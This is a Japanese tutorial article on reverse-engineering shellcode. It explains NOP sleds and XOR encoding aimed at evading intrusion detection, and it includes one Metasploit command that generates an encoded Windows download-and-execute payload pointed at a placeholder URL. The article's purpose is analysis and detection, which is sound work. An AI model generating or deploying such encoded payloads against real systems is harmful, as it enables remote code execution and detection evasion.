コンピュータウイルスの解析などに欠かせないリバースエンジニアリング技術ですが、何だか難しそうだな、という印象を抱いている人も多いのではないでしょうか。この連載では、「シェルコード」を例に、実践形式でその基礎を紹介していきます。(編集部)
あるプログラムを解析・改造しようとしたとき、皆さんならば、まず何をするでしょうか?
いきなりプログラムを一行ずつ読んでいくのは、たとえそのプログラムが自分の得意とするプログラミング言語で書かれていたとしても、大変な作業です。解析しようとするプログラムがどんな機能を持っているのか、どんな構造になっているのか、そういった知識を少しでも持っておけば、スムーズにプログラムを読み進めることができるでしょう。
普通のプログラムには、そうした情報を与えてくれる仕様書や設計書、取扱説明書などがありますが、本連載で対象としているシェルコードには、残念ながらそうした類のドキュメントが存在しません。ただそれでも、シェルコードが持つ典型的な機能や構造というのもいくつか存在します。
今回は、以下のシェルコードに課せられる独特な制約を、シェルコード開発者の立場で考えつつ、その典型的な機能や構造について紹介していこうと思います。
C言語のプログラムで最初に実行されるのは、main関数ですね。同じように、シェルコードを書くときにも、最初に実行される場所がどこであるかを意識します。
しかしながら、脆弱性や攻撃対象のメモリレイアウトによっては、制御を渡したい先(シェルコードの先頭)を厳密に指定するのが困難な場合があります。こうした状況では、あるときはシェルコードの先頭から実行され、あるときはシェルコードの途中から実行されるという問題が発生します(図1)。
シェルコードではこうした問題を解決するために、その直前にスライディングコードと呼ばれる領域が配置されていることがあります。スライディングコードは、多くの「何もしない命令」から構成されます。攻撃者がこのスライディングコード内のどこかに制御を渡すことができれば、最終的にシェルコードが先頭から実行されることになります(図2)。
「何もしない命令」の代表的な例としてはNOP命令があります。x86では0x90(注1)がNOP命令を意味しますが、必ずしもこの命令である必要はありません。とにかく無事にシェルコードの先頭に制御が渡ってくれればよいので、適当なレジスタを使った演算など、例外を発生させずに命令ポインタをシェルコードに向かって進めることができれば、どんな命令でも使えます。
シェルコードを解析する際に、無意味な多数のアセンブリ命令を目にするときがあるでしょう。そのときはスライディングコードの存在を思い出し、読み飛ばしてしまいましょう。
不正侵入検知システムの中には、シェルコードの特徴的なバイト列から、攻撃検知を行うものがあります。このため攻撃者は、なるべくシェルコードから特徴的なバイト列を消そうと考えます。
そこでよく行われるのが、シェルコードに対するエンコードです。作成したシェルコードを事前にエンコードしておき、攻撃時には、そのデコーダとエンコードされたシェルコードをつなぎ合わせたものを新たなシェルコードとして使います。
Metasploitにもこのエンコード・デコードの仕組みを利用したシェルコードが含まれています。
実は、前回紹介したMetasploitのpayload/windows/download_execも、1バイトごとに、ある決まった値と排他的論理和を取るXORデコーダと、XORエンコードされた本体部から構成されています。
また、Metasploitでは他にもさまざま々なエンコーダがサポートされており、generateコマンドの-eオプションによって、エンコーダを切り替えられるようになっています。利用できるエンコーダは、Metasploit Consoleで以下のコマンドを入力することで確認できます。
show encoders
ここでは、そのうちの1つであるx86/call4_dword_xorを指定してみましょう。なお、各コマンドの詳細については第1回で説明しているので、そちらをご参照ください。
use payload/windows/download_exec set URL http://hoge.com generate -t raw -e x86/call4_dword_xor -f download_exec_dword_XORed.bin
ここで指定したx86/call4_dword_xorは、元のシェルコードに対してある決められた4バイトの値と排他的論理和を取るエンコーダです。-eオプションを指定しなかった出力ファイルと、x86/call4_dword_xorを指定したファイルをバイナリエディタなどで比較してみると、まったく異なるバイト列になっていることが分かると思います(図3)。
解析する際に機械語としておかしなバイト列がたくさんあるときには、シェルコードがエンコードされている可能性を疑ってみるとよいでしょう。
Copyright © ITmedia, Inc. All Rights Reserved.